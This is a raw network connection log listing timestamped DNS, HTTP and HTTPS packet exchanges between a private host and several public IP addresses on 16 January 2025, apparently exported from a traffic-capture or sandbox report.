Jan 16, 2025 17:19:49.723015070 CET	53	61397	162.159.36.2	192.168.2.5
Jan 16, 2025 17:19:49.723398924 CET	61397	53	192.168.2.5	162.159.36.2
Jan 16, 2025 17:19:49.728212118 CET	53	61397	162.159.36.2	192.168.2.5
Jan 16, 2025 17:19:50.182456017 CET	61397	53	192.168.2.5	162.159.36.2
Jan 16, 2025 17:19:50.187958956 CET	53	61397	162.159.36.2	192.168.2.5
Jan 16, 2025 17:19:50.188070059 CET	61397	53	192.168.2.5	162.159.36.2
Jan 16, 2025 17:19:53.244306087 CET	49797	80	192.168.2.5	23.209.209.135
Jan 16, 2025 17:19:55.491832018 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:55.491898060 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:55.491951942 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:55.495754957 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:55.495774984 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:56.302138090 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:56.302424908 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:56.302459002 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:56.303436041 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:56.303503036 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:56.304826975 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:56.304891109 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:56.305043936 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:56.305052996 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:56.351706028 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:56.949290037 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:56.949376106 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:56.949457884 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:56.991451979 CET	61431	443	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:56.991493940 CET	443	61431	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:57.322192907 CET	61447	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:57.323021889 CET	61448	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:57.327060938 CET	80	61447	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:57.327142000 CET	61447	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:57.327763081 CET	80	61448	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:57.327825069 CET	61448	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:57.342762947 CET	61447	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:57.347517967 CET	80	61447	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:58.238790035 CET	80	61447	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:58.282383919 CET	61447	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:58.303672075 CET	61447	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:58.308481932 CET	80	61447	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:58.607916117 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:58.607958078 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:58.608015060 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:58.608397007 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:58.608455896 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:58.608566046 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:58.608851910 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:58.608870983 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:58.608917952 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:58.608942032 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:58.643409014 CET	80	61447	66.63.187.216	192.168.2.5
Jan 16, 2025 17:19:58.697947979 CET	61447	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:19:59.254791975 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:19:59.254825115 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:19:59.255120039 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:19:59.255266905 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:19:59.255276918 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:19:59.310234070 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.310560942 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.310584068 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.311655045 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.311728001 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.312788010 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.312855959 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.313004971 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.313018084 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.324565887 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.325011015 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.325025082 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.326106071 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.326170921 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.326570034 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.326637983 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.355297089 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.370508909 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.370542049 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.416589975 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.641733885 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.641808987 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.641935110 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.717425108 CET	61458	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:19:59.717457056 CET	443	61458	186.64.116.70	192.168.2.5
Jan 16, 2025 17:19:59.889110088 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:19:59.915581942 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:19:59.915601969 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:19:59.916856050 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:19:59.916929007 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:19:59.919334888 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:19:59.919380903 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:19:59.919450045 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:19:59.920608997 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:19:59.920624018 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:19:59.920876026 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:19:59.920962095 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:19:59.963942051 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:19:59.963958979 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:20:00.010433912 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:20:00.451010942 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.451337099 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.451364040 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.452454090 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.452529907 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.453722954 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.453778028 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.454022884 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.454027891 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.494066954 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.821052074 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821095943 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821121931 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821146965 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.821152925 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821176052 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821208000 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.821224928 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821269035 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.821275949 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821734905 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821762085 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821779013 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.821783066 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.821837902 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.825797081 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.876607895 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.876631975 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.913229942 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.913258076 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.913328886 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.913362980 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.913439035 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.913476944 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.913896084 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.913924932 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.913952112 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.913958073 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.913999081 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.914256096 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.914323092 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.914365053 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.914371967 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.914839983 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.914869070 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.914895058 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.914896965 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.914905071 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.914937973 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.915937901 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.915966034 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.915993929 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.915996075 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.916002989 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.916047096 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.916049004 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.916057110 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:00.916088104 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:00.966907024 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.006494999 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.006572008 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.006607056 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.006637096 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.006664991 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.006669998 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.006707907 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.006727934 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.006917000 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.006923914 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.006998062 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.007034063 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.007074118 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.007081032 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.007208109 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.007719994 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.007762909 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.007786989 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.007792950 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.007819891 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.007836103 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.007874012 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.007915020 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.008728027 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.008780956 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.008958101 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.009006023 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.009011030 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.009705067 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.009754896 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.009761095 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.009815931 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.010049105 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.010102987 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.010564089 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.010612965 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.011379957 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.011434078 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.011511087 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.011571884 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.102675915 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.102786064 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.102984905 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.103044987 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.103957891 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.104015112 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.104047060 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.104057074 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.104070902 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.104089022 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.104106903 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.104110956 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.104121923 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.105138063 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.105189085 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.105196953 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.105205059 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.105227947 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.105236053 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.105277061 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.105282068 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.105334997 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.105982065 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.106017113 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.106045008 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.106051922 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.106079102 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.106096983 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.107239008 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.107271910 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.107292891 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.107300043 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.107330084 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.107347012 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.107845068 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.107882977 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.107897043 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.107903004 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.107924938 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.107955933 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.108793020 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.108849049 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.108850002 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.108863115 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.108891010 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.108906984 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.109596014 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.109658957 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.109679937 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.109728098 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.109734058 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.109837055 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.110003948 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.113127947 CET	61469	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.113142014 CET	443	61469	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.120493889 CET	61480	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.120538950 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.120691061 CET	61480	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.120996952 CET	61481	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.121048927 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.121129990 CET	61481	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.121555090 CET	61480	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.121567965 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.121725082 CET	61481	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.121742964 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.612484932 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.612648010 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.612796068 CET	61480	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.612827063 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.612921000 CET	61481	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.612943888 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.613197088 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.613291025 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.613579035 CET	61480	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.613657951 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.613840103 CET	61481	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.613908052 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.614042997 CET	61480	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.614173889 CET	61481	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.655324936 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.655342102 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.958467960 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.958564043 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.958621025 CET	61481	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.959364891 CET	61481	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.959384918 CET	443	61481	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.964287996 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.964320898 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.964405060 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.964627981 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.964633942 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.990813971 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.990927935 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:01.991321087 CET	61480	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.997297049 CET	61480	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:01.997311115 CET	443	61480	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.059390068 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.059436083 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.059495926 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.059844017 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.059858084 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.435643911 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.478216887 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.504309893 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.504324913 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.505795002 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.505855083 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.507153988 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.507287025 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.509279013 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.509289026 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.539694071 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.546129942 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.546154976 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.547395945 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.547450066 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.548306942 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.548388004 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.548584938 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.548594952 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.549659967 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.565519094 CET	61492	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.565540075 CET	443	61492	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.565669060 CET	61492	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.566119909 CET	61492	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.566154003 CET	443	61492	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.577066898 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:02.577097893 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:02.577152014 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:02.577346087 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:02.577361107 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:02.588758945 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.724571943 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.724672079 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.724735975 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.725620031 CET	61487	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.725651026 CET	443	61487	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.866292953 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.866404057 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:02.866452932 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.868760109 CET	61488	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:02.868786097 CET	443	61488	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:03.084708929 CET	443	61492	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:03.084980965 CET	61492	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:03.085005999 CET	443	61492	104.21.94.195	192.168.2.5
